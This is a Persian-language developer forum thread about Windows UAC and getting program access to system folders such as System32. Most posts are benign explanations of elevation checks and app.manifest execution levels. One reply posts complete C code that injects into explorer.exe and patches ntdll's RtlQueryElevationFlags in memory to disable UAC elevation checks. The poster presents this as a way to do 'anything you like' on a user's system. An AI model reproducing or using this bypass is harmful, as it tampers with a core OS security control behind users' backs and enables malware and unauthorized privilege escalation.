PDA

View Full Version : آموزش: رفع مشکل UAC و پوشه های سیستمی



josh simpson
شنبه 21 بهمن 1391, 05:03 صبح
در ویندوز های 7 و 8 زمانی UAC فعال باشد نمی توان به پوشه های سیستمی دسترسی داشت، برای رفع این مشکل بنده کلاسی رو نوشته بودم که در اختیار دوستان قرار می دم و می دونم که حتما به دردشون خواهد خورد.:لبخند:
نحوه کار کلاس:
1) نوع سیستم عامل تعیین می شود که آیا XP است یا 7 یا 8 .
2) اگر سیستم عامل 7 یا 8 بود آیا UAC فعال است یا خیر.
3) اگر UAC فعال باشد:
3-1) آیا کاربر جزء گروه ادمین است و برنامه را با پرمیشن ادمین اجرا کرده است؟
3-2) آیا کاربر جزء گروه ادمین است و برنامه را با پرمیشن ادمین اجرا نکرده است؟
3-3) آیا کاربر جزء گروه ادمین نیست؟

طرز کار این کلاس شبیه به app.manifest است با این تفاوت که می تونید در مراحل کار نظارت بیشتری داشته باشید و همچنین می تونید فقط در زمانی که نیاز است از کاربر تقاضای پرمیشن ادمین کنید بر خلاف app.manifest که همیشه در ابتدای اجرا شدن برنامه این پرمیشن رو از کابر می خواد. در ضمن آیکن UAC در کنار آیکن برنامتون ظاهر نمیشه.

سطوح دسترسی:
1) اگر UAC فعال باشد و کاربر Admin یا Standard باشد، درخواست پرمیشن ادمین به کاربر می دهد و به پوشه های سیستمی دسترسی خواهد داشت.
2) اگر UAC فعال نباشد و کاربر Admin باشد، برنامه به صورت عادی باز می شود و به پوشه های سیستمی دسترسی خواهد داشت.
3) اگر UAC فعال نباشد و کاربر Standard باشد، برنامه به صورت عادی باز می شود و به پوشه های سیستمی دسترسی نخواهد داشت.

keyvan_s89
شنبه 21 بهمن 1391, 10:03 صبح
برای اینکه برنامه ارور access denied نده مثلا موقع ساخت یک دایرکتوری توی system32 باید چیکار کنیم ؟ تویه app.manifest کاری باید کرد ؟

barnamenevisjavan
شنبه 21 بهمن 1391, 11:57 صبح
سوال منم همین هستش
چطور برنامه رو طراحی کنیم که خودش بصورت خودکار به پوشه های سیستمی دسترسی داشته باشه (اجرا درحالت ادمین)

ehsanes
شنبه 21 بهمن 1391, 12:26 عصر
سلام
به نظر من بهترین کار bypass کردن uac هست در این حالت هر کاری که دوست دارید میشه رو سیستم کاربر ایجاد کرد تو چند برنامه از این کد استفاده کردم جواب داده (فقط به زبان c هست)

#include "stdafx.h"
#include <tchar.h>
#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>

// Bytes to patch and offsets for comparison
#ifdef _WIN64
#define PATCH_BYTE_1 18
#define PATCH_BYTE_2 34
#define PATCH_BYTE_3 47
#define COMPARE_OFFSET_1 9
#define COMPARE_OFFSET_2 25
#define COMPARE_OFFSET_3 38
#define PATCH_SIZE (PATCH_BYTE_3 - PATCH_BYTE_1 + 1)
#define BUFFER_SIZE 48
#else
#define PATCH_BYTE_1 22
#define PATCH_BYTE_2 37
#define PATCH_BYTE_3 49
#define COMPARE_OFFSET_1 13
#define COMPARE_OFFSET_2 28
#define COMPARE_OFFSET_3 40
#define PATCH_SIZE (PATCH_BYTE_3 - PATCH_BYTE_1 + 1)
#define BUFFER_SIZE 52
#endif

DWORD GetExplorerProcessId()
{
DWORD dwProcessId = 0;
HANDLE hProcessSnap;
PROCESSENTRY32 pe32;

// Create snapshot of running processes
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hProcessSnap == INVALID_HANDLE_VALUE)
{
return 0;
}

// Iterate through the list to find explorer.exe
pe32.dwSize = sizeof(PROCESSENTRY32);
if(Process32First(hProcessSnap, &pe32))
{
do
{
if(!_tcsicmp(pe32.szExeFile, _T("explorer.exe")))
{
dwProcessId = pe32.th32ProcessID;
break;
}
}
while(Process32Next(hProcessSnap, &pe32));
}

CloseHandle(hProcessSnap);

return dwProcessId;
}

HMODULE GetNtDllModuleHandle(IN DWORD dwProcessId)
{
HMODULE hModule = NULL;
MODULEENTRY32W me32;

// Create a snapshot of modules in the process
HANDLE hModuleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessId);
if(hModuleSnap == INVALID_HANDLE_VALUE)
{
_tprintf(_T("ERROR: Failed to retrieve module list.\n\tMake sure you run the 64-bit version on a 64-bit OS.\n"));
return FALSE;
}

// Iterate through the list to find ntdll.dll
me32.dwSize = sizeof(me32);
if(Module32First(hModuleSnap, &me32))
{
do
{
if(!_tcsicmp(me32.szModule, _T("ntdll.dll")))
{
hModule = me32.hModule;
break;
}
}
while(Module32Next(hModuleSnap, &me32));
}
CloseHandle(hModuleSnap);

return hModule;
}

UINT_PTR GetRtlQueryElevationFlagsRva()
{
HMODULE hModule = GetModuleHandle(_T("ntdll.dll"));
if(!hModule)
{
return 0;
}

FARPROC fpFunction = GetProcAddress(hModule, "RtlQueryElevationFlags");
if(!fpFunction)
{
_tprintf(_T("ERROR: RtlQueryElevationFlags is only available on Windows Vista and later\n"));
return 0;
}

return (UINT_PTR)fpFunction - (UINT_PTR)hModule;
}

VOID UacElevationDisable(IN DWORD dwProcessId, IN HMODULE hNtDll)
{
// Get the RVA for RtlQueryElevationFlags
UINT_PTR uRtlQueryElevationFlagsRva = GetRtlQueryElevationFlagsRva();
if(!uRtlQueryElevationFlagsRva)
{
return;
}

// Open process with permissions to perform virtual memory operations
HANDLE hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, dwProcessId);
if(!hProcess)
{
_tprintf(_T("ERROR %u: Cannot open process\n"), GetLastError());
return;
}

__try
{
BYTE rgbyBuffer[BUFFER_SIZE];
SIZE_T sizeNumberOfBytesTransfered;
LPVOID lpvApiAddress = (LPVOID)((UINT_PTR)hNtDll + uRtlQueryElevationFlagsRva);

// Read data in from the start of RtlQueryElevationFlags
if(!ReadProcessMemory(hProcess, lpvApiAddress, rgbyBuffer, sizeof(rgbyBuffer), &sizeNumberOfBytesTransfered) ||
sizeNumberOfBytesTransfered != sizeof(rgbyBuffer))
{
_tprintf(_T("ERROR %u: Cannot read memory\n"), GetLastError());
__leave;
}

// Compare data to make sure it matches what we expect
if(*(PUINT64)(rgbyBuffer + COMPARE_OFFSET_1) != 0xC70674027FFE02F0 ||
*(PUINT64)(rgbyBuffer + COMPARE_OFFSET_2) != 0x830374047FFE02F0 ||
*(PUINT64)(rgbyBuffer + COMPARE_OFFSET_3) != 0x830374087FFE02F0)
{
_tprintf(_T("ERROR: Data Mismatch. Cannot Patch API\n"), GetLastError());
__leave;
}

// Check the current state
if(rgbyBuffer[PATCH_BYTE_1] == 0x01 && rgbyBuffer[PATCH_BYTE_2] == 0x02 && rgbyBuffer[PATCH_BYTE_3] == 0x04)
{
_tprintf(_T("UAC Elevation Check is ON. Turning OFF\n"));
}
else if(rgbyBuffer[PATCH_BYTE_1] == 0x00 && rgbyBuffer[PATCH_BYTE_2] == 0x00 && rgbyBuffer[PATCH_BYTE_3] == 0x00)
{
_tprintf(_T("UAC Elevation Check is OFF. Turning ON\n"));
}
else
{
_tprintf(_T("UAC Elevation Check is UNKNOWN\n"));
__leave;
}

// Patch bytes
rgbyBuffer[PATCH_BYTE_1] ^= 0x01;
rgbyBuffer[PATCH_BYTE_2] ^= 0x02;
rgbyBuffer[PATCH_BYTE_3] ^= 0x04;

LPVOID lpvPatchStartAddress = (LPVOID)((UINT_PTR)lpvApiAddress + PATCH_BYTE_1);

// Write patched data back
if(WriteProcessMemory(hProcess, lpvPatchStartAddress, rgbyBuffer + PATCH_BYTE_1, PATCH_SIZE, &sizeNumberOfBytesTransfered) &&
sizeNumberOfBytesTransfered == PATCH_SIZE)
{
__leave;
}

// Failed to write; unprotect the memory and retry
BOOL bSuccess = FALSE;
DWORD dwOldProtect;

if(VirtualProtectEx(hProcess, lpvPatchStartAddress, PATCH_SIZE, PAGE_EXECUTE_READWRITE, &dwOldProtect))
{
// Retry writing patched data
if(WriteProcessMemory(hProcess, lpvPatchStartAddress, rgbyBuffer + PATCH_BYTE_1, PATCH_SIZE, &sizeNumberOfBytesTransfered) &&
sizeNumberOfBytesTransfered == PATCH_SIZE)
{
bSuccess = TRUE;
}
VirtualProtectEx(hProcess, lpvPatchStartAddress, PATCH_SIZE, dwOldProtect, &dwOldProtect);
}

if(!bSuccess)
{
_tprintf(_T("ERROR: Cannot write memory\n"));
}
}
__finally
{
CloseHandle(hProcess);
}
}

int _tmain(int argc, _TCHAR* argv[])
{
__try
{
DWORD dwExplorerProcessId = GetExplorerProcessId();
if(!dwExplorerProcessId)
{
_tprintf(_T("ERROR: Cannot find explorer.exe in the list of running processes\n"));
__leave;
}

HMODULE hExplorerNtDll = GetNtDllModuleHandle(dwExplorerProcessId);
if(!hExplorerNtDll)
{
_tprintf(_T("ERROR: Cannot find ntdll.dll in the explorer.exe\n"));
__leave;
}

UacElevationDisable(dwExplorerProcessId, hExplorerNtDll);
}
__finally
{
}

_tprintf(_T("Press ENTER to exit"));
getchar();

return 0;
}

barnamenevisjavan
شنبه 21 بهمن 1391, 15:16 عصر
چطوری باید توی دات نت ازش استفاده کنیم؟

josh simpson
شنبه 21 بهمن 1391, 16:05 عصر
برای اینکه برنامه ارور access denied نده مثلا موقع ساخت یک دایرکتوری توی system32 باید چیکار کنیم ؟ تویه app.manifest کاری باید کرد ؟
در این فایل می توانید نسبت به سطح دسترسی مورد نظرتون مقدار requestedExecutionLevel رو به یکی از موارد زیر تغییر بدید:


<requestedExecutionLevel level="asInvoker" uiAccess="false" />
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
<requestedExecutionLevel level="highestAvailable" uiAccess="false" />


البته در خود فایل app.manifest توضیحات لازم داده شده است.

keyvan_s89
شنبه 21 بهمن 1391, 20:55 عصر
در این فایل می توانید نسبت به سطح دسترسی مورد نظرتون مقدار requestedExecutionLevel رو به یکی از موارد زیر تغییر بدید:


<requestedExecutionLevel level="asInvoker" uiAccess="false" />
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
<requestedExecutionLevel level="highestAvailable" uiAccess="false" />



البته در خود فایل app.manifest توضیحات لازم داده شده است.


من همه موارد رو امتحان کردم ولی بازم ارور access denied رو میده.

josh simpson
شنبه 21 بهمن 1391, 22:01 عصر
من همه موارد رو امتحان کردم ولی بازم ارور access denied رو میده.
می تونید بگید که با چه دایرکتوری کار می کنید که access denied می ده؟
چون من با requireAdministrator که امتحان کردم، برنامه به تمام دایرکتوری های سیستمی دسترسی کامل داشت.
البته بعضی دایرکتوری ها مثل System Volume Information هستند که پرمیشن های سیستمی ویژه دارند و هیچ برنامه ای نباید به اونها دسترسی داشته باشه.

keyvan_s89
شنبه 21 بهمن 1391, 22:11 عصر
می تونید بگید که با چه دایرکتوری کار می کنید که access denied می ده؟
چون من با requireAdministrator که امتحان کردم، برنامه به تمام دایرکتوری های سیستمی دسترسی کامل داشت.
البته بعضی دایرکتوری ها مثل System Volume Information هستند که پرمیشن های سیستمی ویژه دارند و هیچ برنامه ای نباید به اونها دسترسی داشته باشه.

مثلا اگه بخوام یه فولدر تویه پوشه windows درایو c ایجاد کنم ارور میده.

keyvan_s89
شنبه 21 بهمن 1391, 22:39 عصر
مشکلم حل شد دایرکتوری رو بدون ارور ساختم ولی برنامه هم موقع اجرا باید به صورت run as administrator اجرا بشه نمیشه اون رو هم رفع کرد ؟